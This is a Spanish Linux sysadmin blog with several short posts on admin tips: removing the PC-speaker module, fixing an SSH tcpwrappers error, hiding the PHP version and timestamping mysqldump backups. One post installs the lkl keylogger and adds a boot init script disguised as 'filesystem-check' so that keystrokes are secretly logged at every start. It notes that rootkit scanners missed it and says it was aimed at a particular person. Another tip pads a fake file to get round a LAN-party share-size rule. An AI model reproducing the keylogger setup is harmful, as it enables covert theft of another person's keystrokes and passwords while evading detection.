Ese molesto pitido...

Creo recordar que en algún momento he recomendado la lectura del blog de Nasser Heidari. Recientemente ha publicado un post en el que indica como desactivar/eliminar el molesto pitido del speaker del PC. Es realmente sencillo, bastante con "cargarse" el módulo pcspkr.ko y listo.

[root@localhost] rmmod -v pcspkr.ko

Si añadimos al fichero /etc/modprobe.d/blacklist una entrada como esta, todo solucionado.

[root@localhost] echo "blacklist pcspkr" >> /etc/modprobe.d/blacklist


Jugando a ser malos...

Tengo medio abandonado el blog(falta de tiempo y mucho trabajo), pero bueno, hoy voy a dejar una perla, dedicada especialmente a un personaje que últimamente no para de molestarme, en lugar de hacer su trabajo; pues ahora, amigo mío, te presento a lkl, un keylogger para máquinas GNU/Linux.
Un keylogger es un "registrador" de teclas, es decir, guarda en un fichero todo que "tecleamos".
Para "jugar" con lkl, basta un simple apt-get:

[root@localhost]: apt-get install lkl
[root@localhost]: lkl -h
-- Linux Key Logger vers 0.1.1 --
usage:
-h this help
-l start to log the 0x60 port (keyboard)
-b Debug Mode.Perhaps it's usefoul :P
-k set a keymap file
-o set an output file
-m send logs to every 1k
-t hostname for sendmail server. default is localhost

Example: lkl -l -k keymaps/it_km -o log.file


Poco que explicar de la ayuda: simple y concisa. Por cierto, me flipa que tenga la posibilidad de enviar el log por email cada 1k, aunque pensándolo bien, es un poco cantoso...
El caso es que si queréis que lkl se inicie cada vez que se inicia el sistema, creamos un fichero en /etc/init.d/ , con el nombre(es lo de menos), por ejemplo filesystem-check, con el siguiente contenido:

#!/bin/bash
#
#
FICHERO_LOG=/root/log_keys.txt
mv $FICHERO_LOG $FICHERO_LOG.$$
touch $FICHERO_LOG
case "$1" in
start)
/usr/bin/lkl -l -k /usr/share/lkl/keymaps/us_km -o $FICHERO_LOG &
;;
stop)
pkill lkl
;;
*)
echo "Usa: /etc/init.d/lkl {start|stop}"
exit 1
;;
esac
exit 0

Ahora necesitamos que se ejecute al incio.

[root@localhost] update-rc.d filesystem-check defaults

He probado con rkhunter y chkrootkit y no ha cantado nada. En fin , será cuestión de mejorar la implementación. De momento, sé de uno que se ha quedado sin...

VI Xornadas, curiosidades y demás...

Mañana se celebran las VI Xornadas de Software Libre en el Concello de Mugardos. El resultado será el fruto de más de cinco años de trabajo del que suscribe y mis compañeros Evaristo y Pablo. Tengo la ponencia al 90%,a falta de unos pequeño retoques, pero por motivos de imprenta, la he tenido que subir a Slideshare.

Una de utilidades:
¿Como deshabilitar shell a un usuario?

chsh -s /sbin/nologin nombreusuario

¿Como monitorizar TX/RX?

watch 'netstat -aniv'

He probado GNUScreen, y la verdad es que me ha sorpredido gratamente. Os animo a que probeis este soft.
Saludos.

ssh_exchange_identification

Ayer por la tarde, configurando vsftpd en una máquina con Debian GNU/Linux añadí una interfaz de red a mayores. En principio todo parecía funcionar sin problemas. Probe la conectividad desde el segmento de red vía ICMP, pedí vía HTTP un documento al servidor web de esta misma máquina y todo parecía funcionar. La sorpresa es cuando, al llegar a casa ,intento conectarme vía SSH. Misión imposible, devuelve el error: ssh_exchange_identification. La solución fue muy sencilla :

echo 'SSHD: ALL' >> /etc/hosts.allow

Pero mi pregunta es la siguiente: ¿ por qué ? Esto es lo que odio muchas veces de los foros de Internet. La gente resuelve un problema despreocupándose del porqué, algo que a mi modo de ver es tanto o más importante que el propio problema en sí. Saber el origen ayuda a no volver a cometer el mismo error en un futuro. Pues manos a la obra. Vamos a intentar averiguar el por qué del ssh_exchange_identification.
Leo en este post, que OpenSSH usa TCPWrappers, escrito por el maestro Wietse Venema , os suena de algo. Postfix quizá? TCPWrappers es un sistema de Listas de Control de Acceso(ACL) para servicios de la pila de protocolos TCP/IP. Incluye una librería libwrap que incluye las principales funcionalidades de filtrado. Intuyo que al detectar que se ha añadido una nueva interfaz, la acción por defecto es denegar el acceso a SSH; y puesto que TCPWrapper usa /etc/hosts.allow y /etc/hosts.deny para definir qué servicios "envuelve",la explicación ahora, a mi modo de ver, queda un poco más clara, verdad?

Comprobamos si efectivamente OpenSSH está compilado con libwrap:

root@pilarrubio#ldd /usr/sbin/sshd
linux-gate.so.1 => (0xffffe000)
libwrap.so.0 => /lib/libwrap.so.0 (0xb7f3c000)
libpam.so.0 => /lib/libpam.so.0 (0xb7f31000)
libdl.so.2 => /lib/i686/cmov/libdl.so.2 (0xb7f2c000)
libselinux.so.1 => /lib/libselinux.so.1 (0xb7f12000)
libresolv.so.2 => /lib/i686/cmov/libresolv.so.2 (0xb7efc000)
libcrypto.so.0.9.8 => /usr/lib/i686/cmov/libcrypto.so.0.9.8 (0xb7da4000)
(...)


Ocultando, viendo y luchando contra...

Después de más de dos semanas sin postear absolutamente nada, no por falta de ganas, más bien por falta de tiempo. Como comentaba, entre el trabajo,los cursos y la futura asociación y demás actividades, es difícil mantener la actividad del blog. Pero vamos a ello. Cosas interesantes que he visto vía RSS y demás.

Ver cabeceras HTTP en la línea de comandos.

alberto@debian:/tmp$ wget -S www.google.com -O /dev/null
--2009-06-18 05:58:49-- http://www.google.com/
Resolviendo www.google.com... 209.85.135.106, 209.85.135.147, 209.85.135.99, ...
Connecting to www.google.com|209.85.135.106|:80... conectado.
Petición HTTP enviada, esperando respuesta...
HTTP/1.0 302 Found
Location: http://www.google.es/
Cache-Control: private
Content-Type: text/html; charset=UTF-8

Ocultar versión PHP.
Buscamos la el fichero php.ini, en mi caso, en Debian GNU/Linux con apache2 y php5, el fichero en cuestión se localiza en /etc/php5/apache2/php.ini, como comentar Nasser Heidari "Haciendo esto, no harás tu servidor Web más seguro, solo harás que a los hosts remotos les sea un poco más difícil ver qué versión de PHP tienes corriendo en tu sistema".

expose_php = Off

Por cierto, estas tres referencias las he leído en el blog de Nasser. Os recomiendo una entrada reciente , en la que comenta cómo evitar en Apache2 ataques de BruteForce y DoS.
Crear un fichero "ficticio" , en este caso de 10M.
Este es "cojonudo" cuando en una LAN party, en un Server Direct Connect , ponen restricciones del tipo "Mínimo 30GB para poder acceder al servidor", pues toma GB...

dd if=/dev/zero of=testfile.txt bs=1M count=10

Añadir timestamp a mysqldump.

$ mysqldump [options] |gzip ->mysqldump-$(date +%Y-%m-%d-%H.%M.%S).gz


De momento esto es todo.